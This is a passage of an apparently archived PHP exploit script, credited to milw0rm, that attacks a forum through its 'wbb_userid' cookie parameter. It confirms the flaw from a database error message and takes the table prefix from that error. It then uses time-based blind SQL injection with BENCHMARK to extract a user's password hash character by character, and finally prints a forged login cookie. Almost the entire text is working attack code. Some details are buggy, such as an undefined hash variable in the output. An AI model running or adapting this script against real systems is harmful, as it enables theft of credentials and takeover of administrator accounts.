126 )) {$result.=" .";} else {$result.=" ".$string[$i];} if (strlen(dechex(ord($string[$i])))==2) {$exa.=" ".dechex(ord($string[$i]));} else {$exa.=" 0".dechex(ord($string[$i]));} $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";} } return $exa."\r\n".$result; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.$host.':'.$port; die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid proxy...';die; } $parts=explode(':',$proxy); echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n"; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); } $host=$argv[1]; $path=$argv[2]; $uid=1; $port=80; $timeout=10; $proxy=""; $b=100000000; for ($i=3; $i<$argc; $i++){ $temp=$argv[$i][0].$argv[$i][1]; if ($temp=="-p") { $port=str_replace("-p","",$argv[$i]); } if ($temp=="-P") { $proxy=str_replace("-P","",$argv[$i]); } if ($temp=="-t") { $timeout=(int) str_replace("-t","",$argv[$i]); } if ($temp=="-b") { $b=(int) str_replace("-b","",$argv[$i]); } if ($temp=="-u") { $uid=(int) str_replace("-b","",$argv[$i]); } } if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} $data ="wbb_userid=%27"; $data.="&-246470575=1"; $data.="&-73279541=1"; $packet ="POST ".$p." HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Content-Type: application/x-www-form-urlencoded\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Cookie: wbb_userpassword=0;\r\n"; $packet.="Connection: Close\r\n\r\n"; $packet.=$data; sendpacketii($packet); if (eregi("mysql error number:",$html)){ echo "vulnerable...\n"; $temp=explode("users LEFT JOIN",$html);$temp2=explode("FROM ",$temp[0]);$prefix=$temp2[1]; echo "prefix -> ".$prefix."\n"; } else {die("not vulnerable...");} $chars[0]=0;//null $chars=array_merge($chars,range(48,57)); //numbers $chars=array_merge($chars,range(97,102));//a-f letters $j=1;$password=""; while (!strstr($password,chr(0))) { for ($i=0; $i<=255; $i++) { if (in_array($i,$chars)) { $sql="9999999'/**/OR/**/".$prefix."users.userid=$uid/**/AND/**/(IF((ASCII(SUBSTRING(password,".$j.",1))=".$i."),BENCHMARK(".$b.",CHAR(0)),-1))/**/LIMIT/**/1/*"; $sql=urlencode($sql); $data ="wbb_userid=$sql"; $data.="&-246470575=1"; $data.="&-73279541=1"; $packet ="POST ".$p." HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Content-Type: application/x-www-form-urlencoded\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Cookie: wbb_userpassword=0;\r\n"; $packet.="Connection: Close\r\n\r\n"; $packet.=$data; sendpacketii($packet); if (eregi("mysql error number:",$html)) { die($html."\n\n"."debug: you have to modify sql code injected, it seems a different version..."); } usleep(20000); $starttime=time(); echo "starttime -> ".$starttime."\r\n"; sendpacketii($packet); $endtime=time(); echo "endtime -> ".$endtime."\r\n"; $difftime=$endtime - $starttime; echo "difftime -> ".$difftime."\r\n"; if ($difftime > $timeout) {$password.=chr($i);echo "password -> ".$password."[???]\r\n";sleep(2);break;} } if ($i==255) { die("\nExploit failed..."); } } $j++; } function is_hash($hash) { if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;} else {return false;} } if (is_hash($password)) { print_r(' -------------------------------------------------------------------------- cookie -> wbb_userid='.$uid.'; wbb_userpassword='.$hash.'; -------------------------------------------------------------------------- '); if ($uid==1) { echo "done, but... to have access to admin panel you need to break the hash\n"; } } else { echo "exploit failed..."; } ?> # milw0rm.com [2006-11-23]